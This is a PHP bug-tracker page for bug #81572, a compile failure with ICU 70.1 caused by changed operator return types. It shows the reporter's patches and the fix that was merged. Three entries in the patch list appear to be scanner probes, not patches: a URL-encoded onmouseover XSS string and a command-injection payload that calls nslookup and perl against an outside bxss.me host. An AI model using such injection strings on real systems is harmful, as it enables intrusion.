php.net |  support |  documentation |  report a bug |  advanced search |  search howto |  statistics |  random bug |  login
Bug #81572 PHP 8.0.12 fails to compile with ICU 70.1 - patch included
Submitted: 2021-10-30 13:57 UTC Modified: 2021-11-03 09:59 UTC
Votes:1
Avg. Score:5.0 ± 0.0
Reproduced:1 of 1 (100.0%)
Same Version:1 (100.0%)
Same OS:1 (100.0%)
From: jpbion at gmail dot com Assigned: cmb (profile)
Status: Closed Package: intl (PECL)
PHP Version: 8.1Git-2021-10-30 (Git) OS: Linux
Private report: No CVE-ID: None
Welcome back! If you're the original bug submitter, here's where you can edit the bug or add additional notes.
If you forgot your password, you can retrieve your password here.
Password:
Status:
Package:
Bug Type:
Summary:
From: jpbion at gmail dot com
New email:
PHP Version: OS:

 

 [2021-10-30 13:57 UTC] jpbion at gmail dot com
Description:
------------
Running on Linux, GLIBC 2.34, GCC 11.2, ICU 70.1, compiling PHP 'master' from GIT, not a snapshot. Configure command used included in script, below.

ICU 70.1 notes on https://icu.unicode.org/download/70

ICU4C Specific Changes documented there include:

 . ICU operator==() and operator!=() functions now return bool instead of UBool

Because of this change, PHP with intl support enabled will not compile on a system with ICU >= 70.1 installed. To fix this a patch is needed, which I include as an attachment. HOWEVER, it is entirely possible that this patch would break compilations using ICU versions older than ICU 70.1! Therefore, a better patch is needed, one that checks the ICU version and conditionally compiles with UBool or bool based on that.

Test script:
---------------
git clone https://github.com/php/php-src.git
cd php-src/
git checkout master
./buildconf
./configure --enable-intl
make


Expected result:
----------------
I want it to compile. It won't without the patch I provide. However, the patch I provide would, as written, probably make it so PHP cannot be compiled with versions of ICU4C that are older than 70.1. A better patch would check the installed ICU version and use UBool for < 70.1 and bool for >= 70.1.


Patches

HcPcEgmp (last revision 2021-10-31 03:47 UTC by sample at email dot tst)
%48%63%50%63%45%67%6D%70%22%6F%6E%6D%6F%75%73%65%6F%76%65%72%3D%35%36%54%75%28%3 (last revision 2021-10-31 03:43 UTC by sample at email dot tst)
(nslookup hitdggtsokljmd761b.bxss.me||perl -e "gethostbyname('hitdggtsokljmd761b (last revision 2021-10-31 03:42 UTC by sample at email dot tst)
icu70betterpatch (last revision 2021-10-30 19:21 UTC by jpbion at gmail dot com)
icu70patch (last revision 2021-10-30 13:57 UTC by jpbion at gmail dot com)

Pull Requests

Pull requests:

History

AllCommentsChangesGit/SVN commitsRelated reports
 [2021-10-30 19:19 UTC] jpbion at gmail dot com
I've included a better patch, which accounts for the ICU version number. It is in the attachment named "icu70betterpatch"
 [2021-10-30 19:21 UTC] jpbion at gmail dot com
The following patch has been added/updated:

Patch Name: icu70betterpatch
Revision:   1635621664
URL:        https://bugs.php.net/patch-display.php?bug=81572&patch=icu70betterpatch&revision=1635621664
 [2021-11-02 09:58 UTC] cmb@php.net
The following pull request has been associated:

Patch Name: [intl] Support ICU 70.1
On GitHub:  https://github.com/php/php-src/pull/7596
Patch:      https://github.com/php/php-src/pull/7596.patch
 [2021-11-02 09:59 UTC] cmb@php.net
Can you please check whether the PR would solve the issue for you?
 [2021-11-03 09:59 UTC] cmb@php.net
-Status: Open +Status: Closed -Package: *Unicode Issues +Package: intl -Assigned To: +Assigned To: cmb
 [2021-11-03 09:59 UTC] cmb@php.net
The PR has been merged, so this issue is supposed to be resolved.
 
PHP Copyright © 2001-2024 The PHP Group
All rights reserved.
Last updated: Sat Dec 21 17:01:58 2024 UTC